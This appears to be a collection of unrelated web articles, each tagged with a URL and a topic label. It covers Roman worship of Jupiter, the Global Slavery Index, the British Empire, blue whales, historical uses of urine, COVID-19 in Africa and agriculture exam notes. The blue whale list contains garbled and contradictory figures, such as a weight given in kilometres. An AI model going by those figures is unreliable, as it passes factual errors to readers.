the Roman people. Jupiter sealed his pact with Numa and the Romans by sending down from the heavens a perfectly round shield called the ancile. In order to deceive anyone who might try to steal this sacred artifact, Numa had eleven nearly identical copies of the ancile made. These twelve shields—known collectively as the ancilia—became a sacred symbol of the city and an enduring reminder of the pact between Jupiter and Rome. The Impiety of Tullus Hostilius Not every Roman king, however, was as successful in winning Jupiter’s favor. In one story, Tullus Hostilius, the third king of Rome, discovered Numa’s instructions for summoning Jupiter Elicius. He tried to carry out the ritual, but his clumsy errors so angered Jupiter that the god struck him and his home with lightning, burning the impious king alive. The Tarquins and the Rise of the Roman Republic Jupiter was also a significant figure in the legends surrounding the dynasty of the Tarquins, the last kings of Rome. It was recorded that Tarquinius Priscus, who would eventually become the fifth king of Rome, witnessed a powerful omen as he was immigrating to Rome from the Etruscan city of Tarquinia. During the journey, an eagle—Jupiter’s bird—swooped down, snatched Tarquinius’ cap from his head, circled over the carriage with loud cries, and then replaced the cap. Tarquinius’ wife Tanaquil, a skilled interpreter of omens, understood this as a sign that the gods would make her husband a king. Sure enough, Tarquinius Priscus became an important king of Rome. He launched many building projects, including construction of the gigantic temple of Jupiter Optimus Maximus on the Capitoline Hill, which remained the most important temple of Jupiter well into the historical period. Tarquinius Priscus never completed the temple, however; it was continued later by his son Tarquinius Superbus, the wicked seventh (and final) king of Rome. The building of the temple of Jupiter Optimus Maximus was accompanied by two significant portents. First, omens indicated that Terminus, the god of boundaries, and Juventas, the goddess of youth, refused to leave their Capitoline sanctuaries, which were located where the new temple of Jupiter Optimus Maximus was to be built. This was interpreted as a good omen, indicating that the borders of Rome would be forever stable and that Rome would always be strong and youthful. The sanctuaries of Terminus and Juventas were eventually incorporated into the temple of Jupiter Optimus Maximus. The second omen was somewhat more dramatic: as the foundations of the temple were being excavated, workmen discovered a human head. This too was interpreted favorably, as a sign that Rome would become the head of a great empire. The temple of Jupiter Optimus Maximus was completed in great splendor, but Tarquinius Superbus was cast out of Rome before he could dedicate the structure. Because of this, the dedication of the temple in 509 BCE was said to have been one of the first actions of the new Republic. The birth of the Roman Republic thus coincided with the establishment of the most important Roman temple. The Republic and Beyond Roman legend did not come to an end with the rise of the Republic. On the contrary, many of the most famous mythical stories of Rome are set in what can comfortably be regarded as historical times. The Romans themselves believed that Jupiter continued to play an active role in their history. Jupiter was a central player, for instance, in many accounts of the Second Punic War (218–201 BCE). In one legend, Jupiter sent the Carthaginian commander Hannibal a dream telling him to march on Rome; he even gave Hannibal his son Mercury as a guide. It was often said that Jupiter did this to put Rome’s military power to the test and to cement their dominance in the Mediterranean. It was also said that Scipio Africanus, the Roman statesman and general who finally defeated Hannibal, visited the temple of Jupiter so frequently that even the temple dogs came to know him. One legend even made Scipio the son of Jupiter (see above). Later, with the rise of Augustus and the form of government known as the Principate, Roman emperors increasingly associated themselves with Jupiter. It became common practice for the emperors to be worshipped as gods after they died, and some authors even depicted dead emperors in council with Jupiter and the other gods in heaven (though these texts were often satirical). Temples and Sanctuaries Jupiter Optimus Maximus In Rome, the focal point of the cult of Jupiter—and of the state religion in general—was the grand temple of Jupiter Optimus Maximus on the Capitoline Hill. This was the greatest of all Roman temples. Though it burned down several times and was definitively destroyed in the sixteenth century, it towered over the Capitoline for over a millennia. A statue of Jupiter driving a four-horse chariot could be found at the apex of the temple. Inside, worshippers were met with a statue of Jupiter that was painted red during celebrations, as well as a stone altar called Iuppiter Lapis (“the Jupiter Stone”), where oath-takers took their sacred vows. The temple of Jupiter Optimus Maximus was erected in honor of what has been called the Capitoline Triad, composed of Jupiter, Juno, and Minerva. There were thus three cellae (inner chambers) in the temple, with the central cella dedicated to Jupiter, the left cella to Juno (known in this context as Juno Regina, “Juno the Queen”), and the right cella to Minerva. It is unknown how the Capitoline Triad first came about. Some scholars have tried to trace it to the Etruscans, the Romans’ neighbors to the north, but modern theories posit that the Capitoline Triad came from Greece. As evidence of this, scholars point to the triad of Zeus, Hera, and Athena (the Greek counterparts of Jupiter, Juno, and Minerva), who were worshipped at the Phokikon, the main sanctuary of the Phocians in central Greece. The gigantic temple of Jupiter Optimus Maximus, consecrated in 509 BCE, existed for over one thousand years before gradually falling out of use at the end of the fourth century CE as paganism declined. It was finally leveled once and for all in the sixteenth century. Over its long history, the temple burned down several times, being rebuilt each time on an even grander scale than before. The temple represented the borders of the world, with the god Terminus—the personification of borders and boundaries—being worshipped within the bounds of the temple in the form of a borderstone. As Rome expanded, many Roman colonies also erected a temple of Jupiter Optimus Maximus on their Capitoline Hill. The temple of Jupiter Optimus Maximus served as a sacrificial site where Romans would offer slaughtered animals (known as hostiae) to the mighty god. The hostiae for Jupiter were oxen or bulls (especially white ones), lambs (offered annually on the Ides of March), and wethers or castrated goats (offered on the Ides of January). The temple of Jupiter Optimus Maximus was also the final destination of the celebratory military processions known as “triumphs.” Such processions were led by a triumphator, or victorious general. The procession itself would consist of the triumphator’s army, prisoners, and spoils, which would wind through the streets of Rome before ending up at the great temple. There, the procession offered sacrifices and left a portion of their spoils for Jupiter. Throughout these festivities, the triumphator would bear the trappings of Jupiter himself: he would ride in a four-horse chariot, wear a purple toga, paint his face red, and even carry the scepter of Jupiter. Other Temples in Italy Besides the temple of Jupiter Optimus Maximus, Jupiter had many other important sanctuaries throughout Rome, Latium, and the rest of Italy. As the god of storms and thunder, Jupiter was often worshipped on hills (not unlike Zeus). In terms of elevation, the sanctuary of Jupiter on the Alban Mount was the god’s highest sanctuary in the region of Latium. There were other hilltop sanctuaries of Jupiter further south—for instance, at Terracina, where Jupiter was worshipped on a cliff as Jupiter Anxur or Anxurus. At Praeneste, a city in Latium not far from Rome, Jupiter was worshipped at the major temple of the goddess Fortuna, where he was represented—quite unusually—in the form of a young boy (see above). In Rome itself, there were sanctuaries of Jupiter on several of the hills. The temples of Jupiter Feretrius and Jupiter Stator were said to have been the oldest in the city, founded (according to legend) by none other than Romulus, the first king of Rome. On the Aventine Hill stood the altar of Jupiter Elicius, connected with Jupiter as the god of thunder and lightning. This important altar was said to have been dedicated by Numa, the second king of Rome (see above). On the Capitoline—the very hill dominated by the temple of Jupiter Optimus Maximus—there was also a temple of Jupiter Tonans (“Jupiter the Thunderer”), dedicated by Augustus in 22 BCE after he escaped being struck by lightning during the Cantabrian War. Another sanctuary of Jupiter stood on the Campus Martius in Rome. These are only a few of Jupiter’s most important Roman sanctuaries. The god boasted a host of smaller sanctuaries, too, scattered throughout Rome and the rest of Italy. Festivals and Rituals In Rome, Jupiter was honored with two major festivals of political unity. The first of these, the Ludi Romani, was celebrated between September 4 and 19. The festivities involved games and contests (ludi in Latin), and the main day, September 13, was marked by a sumptuous feast in honor of Jupiter, known as an epulum. The second festival, held between November 4 and 17, also had an epulum and concluded with a great banquet on the Capitoline Hill. As Jupiter Latiaris, or god of the Latins more broadly, Jupiter was celebrated at the Feriae Latinae, a festival held at the god’s sanctuary on the Alban Mount. This festival was considered quite ancient; legend claimed that it was founded (or renewed) by Tarquinius Superbus, the last king of Rome. Jupiter was also honored at various wine festivals. The purpose of these festivals was to symbolically integrate wine into the world order of Jupiter, thus liberating the beverage from its harmful effects. In Rome, there were two major wine festivals, called Vinalia. The Vinalia priora (“first Vinalia”), celebrated on April 23, marked the beginning of the vintage, while the Vinalia rustica (“country Vinalia”), celebrated on August 19, marked the tasting of the first wine. Another wine festival associated with Jupiter, the Meditrinalia (held on October 11), celebrated the tasting of the first fermented grape juice. Other festivals of Jupiter were usually held on the Ides, the middle day of every month in the Roman calendar. Because Jupiter was the most important god, it was determined that he should occupy the central position in all things (for the Romans, the middle, rather than the head, was the position of honor). The Ludi capitolini, for instance—a festival of ritual inversion associated with Jupiter—was held on the Ides of October (October 13). Moreover, on every Ides, the high priest of Jupiter—the flamen Dialis—would sacrifice a lamb on the Capitoline altar. Finally, there were rituals associated with Jupiter as god of the weather and rain. The aquaelicium was a procession involving the sacred rhyolite stone, known as the lapis manalis, by which the Romans asked Jupiter to provide rain in the dry season. Another rain ritual was the nudipedalia, which translates to “naked-footed”—so named because it involved women going about barefoot. Overseeing the sprawling cult of Jupiter in Rome was the flamen Dialis, the high priest of Jupiter. The flamen Dialis was one of the most important members of the college of flamines, a body of fifteen priests who presided over the affairs of the state religion. Together with the flamines of Mars and Quirinus, the flamen Dialis was one of three flamines maiores, or “great flamines.” This connection between the priests of Jupiter, Mars, and Quirinus, combined with the association between the three gods in other early Roman rituals (for instance, the prayer of the fetiales), has led some scholars to posit that these gods were part of an “Archaic Triad” that was important in the earliest period of Roman religion. The flamen Dialis was one of the highest ranking figures in Roman religion, but he led a life much constricted by ceremony and religious demands. The restrictions placed on the flamen Dialis and his wife regulated every aspect of the priestly couple’s life, from where they slept to how they cut their fingernails. From a very early period, Jupiter was frequently identified with the gods of other Italian, Mediterranean, and European peoples. This identification of Roman deities and rituals with those of foreign civilizations was a common practice, sometimes referred to as interpretatio Romana. As previously mentioned, Jupiter was identified with the Greek Zeus from an early period, adopting most of his Greek counterpart’s mythology and iconography. Jupiter was also identified with Tinia, the supreme storm god of the Etruscans. In later periods, Jupiter assimilated the gods of many other civilizations as well, especially those conquered by the Romans or folded into their sphere of influence. The Romans thus associated Jupiter with the supreme gods of the Celts, Germans, and various Semitic peoples, among others. This process of cultural and religious appropriation and syncretism spawned certain cults that became important in their own right, including the cult of Jupiter Dolichenus, which originated in Doliche (modern-day Turkey). Here the local high god was combined with Jupiter to produce a hybrid deity. This hybrid god was represented in a distinctive manner, shown riding atop a bull and holding a thunderbolt in one hand and a double ax in the other (suggesting a link with the Hittite storm god Teshub). During the second century CE, the cult of Jupiter Dolichenus began spreading across the empire, becoming especially prominent in the frontier regions of Britain and the Rhine-Danube. Jupiter Dolichenus even had a cult in Rome itself, on the Aventine Hill. Worshippers of this god were called fratres (“brothers”) and were initiated into sacred feasts after undergoing a period of instruction (during which they were known as candidati); a patronus presided over each group of fratres. There were also positions outside of these groups for members known as colitores, including those who served as scribae or notarii—scribes or recordkeepers. Another important hybrid cult was that of Jupiter Heliopolitanus, centered on the Baalbek temple complex in Syrian Heliopolis. The sanctuary of Jupiter Heliopolitanus was truly massive: at its height, it represented the largest sanctuary of Jupiter in existence. Here the god was represented as a beardless youth wearing the garb of a charioteer; he held a whip in his right hand, a thunderbolt and ears of corn in his left; and he was flanked by two bulls. Macrobius, our main source for the cult of Jupiter Heliopolitanus, emphasized the importance of the god’s oracle and revealed that the god was worshipped in close association with Venus and Mercury. However, it seems that Macrobius was confused by this Jupiter’s idiosyncratic iconography and misidentified him as Sol, the Roman sun god. In modern times, Jupiter is best known for lending his name to the fifth planet from the sun, the largest in our solar system. Many individuals have also unwittingly channeled Jupiter by uttering the folksy exclamation “by Jove!”—an expression that emerged in the Middle Ages when pious Christians, who feared using the name of their own god in vain, began invoking the “false” god Jove or Jupiter instead. In most modern adaptations of classical mythology, however, Zeus has been preferred to Jupiter, in keeping with the broader cultural preference for Greek deities over Roman ones.

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Each day, people are tricked, coerced, or forced into exploitative situations that they cannot refuse or leave. Each day, we buy the products or use the services they have been forced to make or offer without realising the hidden human cost. An estimated 50 million people were living in modern slavery on any given day in 2021, an increase of 10 million people since 2016. Walk Free’s flagship report, the Global Slavery Index (GSI) provides national estimates of modern slavery for 160 countries. Our estimates draw on thousands of interviews with survivors collected through nationally representative household surveys across 75 countries and our assessment of national-level vulnerability. With the exception of contributions from external authors, the Global Slavery Index is produced by Walk Free. We are solely responsible for the contents of this report. people in modern slavery Photo credit: Marcos Moreno / AFP via Getty Images people in Pakistan people in India people in China people in North Korea Strait of Gibraltar, Atlantic Ocean, September 2018. A boat carrying migrants is stranded at sea. Many migrants are driven to leave their homes due to conflict, or displacement caused by climate change. The countries estimated to have the highest prevalence of modern slavery tend to be conflict-affected, have state-imposed forced labour, and have weak governance. The countries with the lowest prevalence of modern slavery are those with strong governance and strong government responses to modern slavery. Modern slavery includes forced labour, forced or servile marriage, debt bondage, forced commercial sexual exploitation, human trafficking, slavery-like practices, and the sale and exploitation of children. In all its forms, it is the removal of a person’s freedom — their freedom to accept or refuse a job, their freedom to leave one employer for another, or their freedom to decide if, when, and whom to marry — in order to exploit them for personal or financial gain. Modern slavery thrives in silence. That’s why we created the Global Slavery Index. The Index answers three key questions for 160 countries: how many people are living in modern slavery, what makes people vulnerable, and what are governments doing to address it? Photo credit: Muhammed Said/Anadolu Agency via Getty Images Idlib, Syria, December 2020. A young boy crushes stones to sell as construction materials and help support his family living in a tent camp for internally displaced people. Photo credit: Muhammed Said/Anadolu Agency via Getty Images. Global vulnerability rank Global vulnerability rank Global vulnerability rank K’elafo, Ethiopia, January 2023. Ethiopia, Somalia, and Kenya have experienced their worst drought in four decades. The UN estimates drought has led to 12 million Ethiopians experiencing acute food insecurity, increasing the risk of exploitation. Photo Credit: Eduardo Soteras / AFP. Getty Images. Those fleeing conflict, natural disasters, or repression of their rights, or are seeking to migrate for work, are particularly vulnerable to exploitation, with more people migrating now than at any other point in the last five decades. The widescale deterioration of civil and political rights in the face of these multiple crises increases risks for those already vulnerable to modern slavery. The most vulnerable – women, children, and migrants – remain disproportionately affected. The 2023 Global Slavery Index provides an assessment of the extent to which a country’s population is vulnerable to modern slavery for 160 countries. These national assessments of vulnerability help to inform our estimates of the prevalence of modern slavery, can inform the allocation and direction of anti-slavery efforts, and help to identify future areas of research. For example, forced marriage is pervasive in countries where patriarchal views lead to gender inequality and discrimination, reinforced, for example, by laws that prevent women from inheriting land or the absence of laws stipulating 18 years old as minimum of age of marriage. In countries with large populations of migrants and without sufficient labour protections for them, forced labour can be particularly pervasive. In other countries, forced labour is perpetrated by the state, leaving victims with little recourse for remedy. Photo credit: Pedro Pardo / AFP via Getty Images commercial sexual exploitation of children Nouakchott, Mauritania, June 2018. Mabrouka was a child when she was taken from her mother, also a survivor of forced labour, and was made to work as a domestic servant. Although freed in 2011, she was never able to go to school, and was married two years later, aged 16. Forced marriage is driven by a variety of factors such as gender biases, harmful cultural practices, poverty, sexuality, gender identity, socio-political instability, conflict, climate change, irregular migration, and a lack of access to education and employment. Eradicating forced marriage worldwide will require a concerted effort by all governments. governments have criminalised forced marriage countries criminalise forced labour countries criminalise human trafficking governments have mandatory human rights due diligence legislation Dunkirk, France, October 2022. A migrant man carrying a child runs to board a smuggler’s boat. Migrants forced by circumstance take dangerous journeys to find a better life. Hostile attitudes increase their risk of exploitation. While it is everyone’s responsibility to address modern slavery, governments have a central role to play by enacting legislation, providing safety nets for their population, and pursuing criminals who participate in these hideous crimes. The global challenges of COVID-19, conflict, and climate change have diverted resources and attention away from modern slavery, leading to a reduction in focus on tackling it. In the top 10 global responses to modern slavery in 2023, there has been little progress. However, there is promising action elsewhere. Although the highest prevalence of forced labour is found in low-income countries, it is deeply connected to demand from higher-income countries. The production and movement of goods between countries – from the sourcing of raw materials to manufacturing, packaging, and transportation – creates complex and opaque supply chains, many of them tainted with forced labour. In 2021, G20 countries imported US$468 billion worth of goods at-risk of modern slavery. We present breakdowns of the top five highest-value at-risk products imported by each G20 country. Valencia, Spain, December 2022. A woman looks at clothes. Garments are the second highest value product at risk of forced labour imported by G20 countries. Of the products at-risk of being produced with modern slavery, G20 countries spent the most on: Garment workers, hidden deep within supply chains, face poor or exploitative working conditions, including poverty wages, piece-rate pay, forced and unpaid overtime, irregular work, health and safety risks, and lack of benefits. Businesses should do much more to address forced labour occurring in their supply chains. prevalence estimates for Photo credit: Brianna Soukup / Portland Press Herald via Getty Images government response ratings for government response submissions from NGOs Portland, United States, January 2018. Cary Dyer tells her story of survival during a vigil in support of the National Human Trafficking Awareness Day. Global Estimates of Modern Slavery Dhaka, Bangladesh, January 2021. Labourers unload coal from a cargo ship in Gabtoli on the outskirts of Dhaka. After unloading 30 baskets of coal they earn around US$1. Photo credit: Kazi Salahuddin Razu/NurPhoto. Getty Images. The Global Slavery Index 2023 Dataset Download the country-level data on prevalence of modern slavery, vulnerability to modern slavery, and government responses to modern slavery. Also includes data on G20 at-risk imports and Wikirate data assessing company modern slavery statements.

https://www.globalslaveryindex.org/2018/data/country-data/algeria/

Culture

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In the annals of history, few empires have left as indelible a mark as the British Empire. Spanning continents and centuries, its legacy continues to shape the modern world. But how did this sprawling colossus of colonial power come into being? To understand its origins, we must journey back to the Age of Exploration in the 16th century. The seeds of the British Empire were sown amidst the fervent spirit of exploration that gripped Europe during this era. Venturing beyond the known horizons, intrepid explorers set sail in search of new lands, riches, and trade routes. Among them were the likes of Sir Walter Raleigh, who famously established the ill-fated Roanoke Colony in North America, and Sir Francis Drake, whose circumnavigation of the globe symbolized the audacity of the age. It was against this backdrop of maritime adventure that the foundations of British colonialism were laid. In the early 17th century, the English established their first permanent settlement in North America with the founding of Jamestown in Virginia. Meanwhile, across the Atlantic, the Caribbean became a strategic hub for British interests, with colonies like Barbados and Jamaica serving as lucrative outposts for sugar production and trade. But it was in the fabled lands of the Indian subcontinent that the British Empire truly began to take shape. The establishment of the East India Company in 1600 marked the dawn of British influence in South Asia, as merchants and traders sought to capitalize on the region's wealth and resources. Through a combination of diplomacy, warfare, and economic savvy, the British gradually expanded their foothold, culminating in the establishment of direct colonial rule in India by the mid-19th century. As the centuries passed, the reach of the British Empire extended ever further. From the shores of Africa to the islands of the Pacific, British adventurers, merchants, and settlers left their mark on distant lands, leaving behind a complex tapestry of cultures, economies, and identities in their wake. Yet, for all its grandeur and ambition, the British Empire was not without its contradictions and complexities. While it brought prosperity and progress to some, it also wrought devastation and exploitation upon others. The legacies of colonialism continue to reverberate across the globe, shaping the destinies of nations and peoples to this day. In tracing the origins and expansion of the British Empire, we are confronted with a story of ambition and adventure, conquest and colonization. It is a tale that reminds us of the enduring power of human endeavor, for better or for worse. And as we reflect on its lessons, we are reminded of the importance of understanding the past in order to navigate the challenges of the present and forge a more just and equitable future. Post a Comment

https://www.alalamychronicles.com.ng/2024/04/tracing-roots-of-british-empire-origins.html

Culture

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Believed to be the biggest animal that has ever lived on earth, Blue Whales are one of the world’s most fascinating creatures not just for their size but also for their many other unique qualities. Despite their intimidating size, these sea monsters are one of the ocean’s most peaceful creatures. Here are 13 more facts we know about the blue whale: 1. Blue whales are the largest animals ever to have lived on the earth. Measuring up to 100 feet (30 metres in length), the longest blue whale ever recorded was up to 108 feet in length. 2. They can weigh as much as 200,000 km (400,000 pounds). 3. The tongue of the blue whale is as big as an elephant! 4. Their hearts are not left out either. These gentle giants have hearts that are about 5 feet long, 4 feet wide, and 400 pounds in weight. Their heartbeats can be heard from as far as two miles away. 5. As enormous as these sea creatures are, they feed on tiny animals called krills. A whale’s stomach can hold up to 2200 pounds of krills at a time. In fact, they feed on almost 9000 of these crustaceans daily and a whopping 40 million krills daily during the summer. 6. In addition to being the largest, blue whales are the loudest animals on the planet. Their calls can be heard from up to 1000 miles (1,600 kilometers) away. 7. Blue whales are among the planet’s oldest living creatures. Their average life span is around 80 to 90 years and they can live for up to 100 years. READ ALSO: 10 Cool Facts About Polar Bears 8. Despite their large size, blue whales are excellent swimmers. They cruise the ocean at about 8 km/hr and can reach speeds of over 30 km/hr. 9. Blue whale calves weigh up to 27,000 kg and can measure up to 26 feet in length, making them the biggest babies on earth. 10. They are a rich source of oil. Due to this discovery, they were hunted for decades, leading to a drastic decrease in their numbers. It wasn’t until 1967 that they received worldwide protection, saving them from mass extinction. 11. Due to climate change and the impact of ship strikes, The International Union for Conservation classifies them as Endangered. The entire population of blue whales left ranges from about 10,000 to 20,000. 12. Perhaps due to their long life span, blue whales have the ability to form bonds with other living creatures. They are said to be affectionate towards those who rescue them, suggesting that they have feelings. 13. A female blue whale has an interesting manner in which it nurtures its young. It will lift its newborn calf to the surface of the ocean in order for it to breath in some air. Other females around may also assist in nudging the young calf to the surface of the water to breathe.

https://reterdeen.com/13-interesting-facts-about-blue-whales/

Education

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The saying goes that one person’s waste is another’s treasure. For those scientists who study urine the saying is quite literal–pee is a treasure-trove of scientific potential. It can now be used as a source of electric power. Urine-eating bacteria can create a strong enough current to power a cell phone. Medicines derived from urine can help treat infertility and fight symptoms of menopause. Stem cells harvested from urine have been reprogrammed into neurons and even used to grow human teeth. For modern scientists, the golden liquid can be, well, liquid gold. But a quick look back in history shows that urine has always been important to scientific and industrial advancement, so much so that the ancient Romans not only sold pee collected from public urinals, but those who traded in urine had to pay a tax. So what about pee did preindustrial humans find so valuable? Here are a few examples: Urine-soaked leather makes it soft: Prior to the ability to synthesize chemicals in the lab, urine was a quick and rich source of urea, a nitrogen-based organic compound. When stored for long periods of time, urea decays into ammonia. Ammonia in water acts as a caustic but weak base. Its high pH breaks down organic material, making urine the perfect substance for ancients to use in softening and tanning animal hides. Soaking animal skins in urine also made it easier for leather workers to remove hair and bits of flesh from the skin. The cleansing power of pee: If you’ve investigated the ingredients in your household cleaners, you may have noticed a prevalent ingredient: ammonia. As a base, ammonia is a useful cleanser because dirt and grease–which are slightly acidic–get neutralized by the ammonia. Even though early Europeans knew about soap, many launderers preferred to use urine for its ammonia to get tough stains out of cloth. In fact, in ancient Rome, vessels for collecting urine were commonplace on streets–passers-by would relieve themselves into them and when the vats were full their contents were taken to a fullonica (a laundry), diluted with water and poured over dirty clothes. A worker would stand in the tub of urine and stomp on the clothes, similar to modern washing machine’s agitator. Even after making soap became more prevalent, urine–known as chamber lye for the chamber pots it was collected in–was often used as a soaking treatment for tough stains. Urine not only made your whites cleaner, but your colors brighter: Natural dyes from seeds, leaves, flowers, lichens, roots, bark and berries can leach out of a cloth if it or the dyebath aren’t treated with mordant, which helps to bind the dye to the cloth. It works like this: molecules of dye called chromophores get wrapped inside a more complex molecule or a group of molecules; this shell housing the dye then binds to the cloth. The central nugget of dye is then visible but is protected from bleeding away by the molecules surrounding it. Stale urine–or more precisely the ammonia in it–is a good mordant. Molecules of ammonia can form a web around chromophores, helping to develop the color of dyes as well as to bind it to cloth. Specific chamberpots dedicated to urine helped families collect their pee for use as mordants. Urine was so important to the textile industry of 16th century England that casks of it–an estimated amount equivalent to the urine stream of 1000 people for an entire year–were shipped from across the country to Yorkshire, where it was mixed with alum to form an even stronger mordant than urine alone. Pee makes things go boom: Had enough with cleansing, tanning, and dyeing? Then why not use your pee to make gunpowder! Gunpowder recipes call for charcoal and sulfur in small quantities, both of which for aren’t too hard to find. But the main ingredient–potassium nitrate, also called saltpeter–was only synthesized on a large-scale in the early 20th century. Prior to that, makers of gunpowder took advantage of the nitrogen naturally found in pee to make the key ingredient for ballistic firepower. As detailed in the manual Instructions for the Manufacture of Saltpetre, written by physician and geologist Joseph LeConte in 1862, a person hoping to make gunpowder quickly would need “a good supply of thoroughly rotted manure of the richest kind” which is then mixed with ash, leaves and straw in a pit. “The heap is watered every week with the richest kinds of liquid manure, such as urine, dung-water, water of privies, cess-pools, drains, &c. The quantity of liquid should be such as to keep the heap always moist, but not wet,” he wrote. The mixture is stirred every week, and after a several months no more pee is added. Then “As the heap ripens, the nitre is brought to the surface by evaporation, and appears as a whitish efflorescence, detectible by the taste.” Different regions of the world had their own recipes for gunpowder, but the scientific principle at work is the same: Ammonia from stagnant pee reacts with oxygen to form nitrates. These nitrates–negatively charged nitrogen-bearing ions–then search for positively charged metal ions in the pee-poo-ash slurry to bind with. Thanks to the ash, potassium ions are in abundance, and voila! After a little filtering, you’ve made potassium nitrate. Urine gives you a whiter smile: Urine was a key ingredient in many early medicines and folk remedies of dubious effectiveness. But one use–and those who’ve tried it say it works–is as a type of mouthwash. While “urine-soaked grin” isn’t the insult of choice these days, a verse by Roman poet Catullus reads: Egnatius, because he has snow-white teeth, smiles all the time. If you’re a defendant in court, when the counsel draws tears, he smiles: if you’re in grief at the pyre of pious sons, the lone lorn mother weeping, he smiles. Whatever it is, wherever it is, whatever he’s doing, he smiles: he’s got a disease, neither polite, I would say, nor charming. So a reminder to you, from me, good Egnatius. If you were a Sabine or Tiburtine or a fat Umbrian, or plump Etruscan, or dark toothy Lanuvian, or from north of the Po, and I’ll mention my own Veronese too, or whoever else clean their teeth religiously, I’d still not want you to smile all the time: there’s nothing more foolish than foolishly smiling. Now you’re Spanish: in the country of Spain what each man pisses, he’s used to brushing his teeth and red gums with, every morning, so the fact that your teeth are so polished just shows you’re the more full of piss. The poem not only reveals that Catullus wasn’t a fan of Egnatius, but that Romans used urine to clean and whiten their teeth, transforming morning breath into a different smell entirely. The active ingredient? You guessed it: ammonia, which lifted stains away. But perhaps one of the most critical uses of urine in history was its role in making the above home remedies obsolete. Urea, the nitrogen bearing compound in urine, was the first organic substance created from inorganic starting materials. In 1828, German chemist Friedrich Wöhler mixed silver cyanate with ammonium chloride and obtained a white crystalline material that his tests proved was identical to urea. His finding disproved a hypothesis of many leading scientists and thinkers of the time, which held that living organisms were made up of substances entirely different than inanimate objects like rocks or glass. In a note to a colleague, Wöhler wrote, “I can no longer, so to speak, hold my chemical water and must tell you that I can make urea without needing a kidney, whether of man or dog; the ammonium salt of cyanic acid is urea.” Wöhler’s discovery showed that not only could organic chemicals be transformed and produced in the lab, but that humans were part of nature, rather than separate from it. In doing so, he began the field of organic chemistry. Organic chemistry has given us modern medicines, materials such as plastic and nylon, compounds including synthetic ammonia and potassium nitrate…and, of course, a way to clean our clothes or fire a gun without using our own (or someone else’s) pee.

http://blogs.smithsonianmag.com/science/2013/08/from-gunpowder-to-teeth-whitener-the-science-behind-historic-uses-of-urine/#ixzz2crxFX9KJ

Health

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With more than 6000 COVID-19 cases reported in Africa, the virus is threatening fragile health systems on the continent. Infections are increasingly spreading not only between African countries but within different localities in the hardest-hit countries. For instance, in the Democratic Republic of the Congo, where COVID-19 cases were at first confined to Kinshasa, now a handful of cases have been reported in the easternmost regions of the country that were until recently in the grip of an Ebola outbreak. In South Africa, all provinces have now reported cases. The outbreaks in Burkina Faso, Cameroon and Senegal are also widespread. “Case numbers are increasing exponentially in the African region,” said Dr Matshidiso Moeti, the World Health Organization (WHO) Regional Director for Africa “It took 16 days from the first confirmed case in the Region to reach 100 cases. It took a further 10 days to reach the first thousand. Three days after this, there were 2000 cases, and two days later we were at 3000.” To contain COVID-19, many countries in Africa are implementing measures, which restrict gatherings and the movement of people. Nationwide lockdowns are in effect in Kenya, Uganda, the Republic of the Congo and elsewhere. However, governments must use these measures in a considered, evidence-based manner, and make sure that people can continue to access basic necessities. As many people in the region live in crowded conditions or work in the informal sector and need to earn money daily to survive, it is important that countries make provisions to ensure that people can still access essential services. WHO is working closely with national governments and United Nations partners including the World Food Programme (WFP) to plan for these needs. Dr Moeti and Ms Lola Castro, the WFP Regional Director for Southern Africa, addressed the restrictive measures during a virtual media briefing held today by the WHO Regional Office for Africa with the support of the World Economic Forum. “For socially restrictive measures to be effective, they must be accompanied by strong, sustained and targeted public health measures that locate, isolate, test and treat COVID-19 cases,” Dr Moeti pointed out. “It’s vital that ports continue to operate to receive food and other essential humanitarian cargo; that borders and roads stay open so it can be moved where it is most needed, and that distribution to vulnerable people are conducted safely,” said Ms Castro. “It’s also crucial that the international community promptly provide the considerable funding needed to maintain and scale up assistance programmes.” As well as ensuring basic needs are met, WHO is pursuing innovative solutions to the region’s pressing public health problems. On 1 April 2020, WHO hosted an online training session on the clinical management of COVID-19 cases. Nearly 500 attendees from across Africa logged in to learn about issues including case characterization and triage, treating severely ill cases, infection prevention and control, and how to quarantine and manage cases in the community. WHO also hosted a three-day ‘hackathon’, bringing together Africa’s brightest minds to find solutions to some of the problems COVID-19 has presented.

https://brandspurng.com/2020/04/03/coronavirus-who-concerned-as-covid-19-cases-accelerate-in-africa/

Health

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Agric Keypoints: Meaning And Scope Of Agriculture; These Agriculture keypoints cover topics suitable for students sitting for the following examinations. WAEC, JAMB, NECO, IJMB, GCE, NABTEB Study other keypoints here Define Agricultural Science The study of how to cultivate and rear plants and animals for food, energy, and other things is known as agricultural science. It entails applying scientific theories and methods to enhance the raising, harvesting, and management of plants, animals, and the land on which they are raised. Agricultural scientists strive to create fresh and improved approaches to farming, raising animals, and sustainable resource usage. What Are Branches Of Agricultural Sciences? There are several branches of agricultural science, including: - Agronomy: the study of how to grow crops, including how to select and plant seeds, manage soil health, and control pests and diseases. - Animal science: the study of how to raise and care for animals, including how to feed and breed livestock, as well as how to manage their health and welfare. - Horticulture: the study of how to grow fruits, vegetables, and ornamental plants, including how to care for them and harvest them at the right time. - Agricultural economics: the study of how to manage the financial and business aspects of agriculture, including how to make decisions about what crops or animals to raise and how to market and sell them. - Agricultural engineering: the application of engineering principles to the design and construction of equipment and facilities used in agriculture, such as irrigation systems, greenhouses, and barns. - Soil science: the study of the properties and management of soil, including how to maintain healthy soil and how to use it to grow crops. Types Of Agriculture There are several types of agriculture, including: - Subsistence agriculture: a type of agriculture in which farmers grow enough food to feed their own families and have little or no surplus to sell. - Commercial agriculture: a type of agriculture in which farmers grow crops or raise animals to sell for profit. - Industrial agriculture: a type of agriculture that uses large-scale production methods, including mechanization, chemical fertilizers and pesticides, and genetically modified organisms (GMOs). - Organic agriculture: a type of agriculture that uses natural methods to grow and raise crops and animals, without the use of synthetic chemicals or genetically modified organisms. - Agroforestry: a type of agriculture that combines the cultivation of crops and trees in the same space. - Urban agriculture: the growing of plants and raising of animals within a city or urban area, often in small spaces such as backyards or rooftops.

https://www.studentvillage.com.ng/agric-keypoints-meaning-and-scope-of-agriculture/

Education

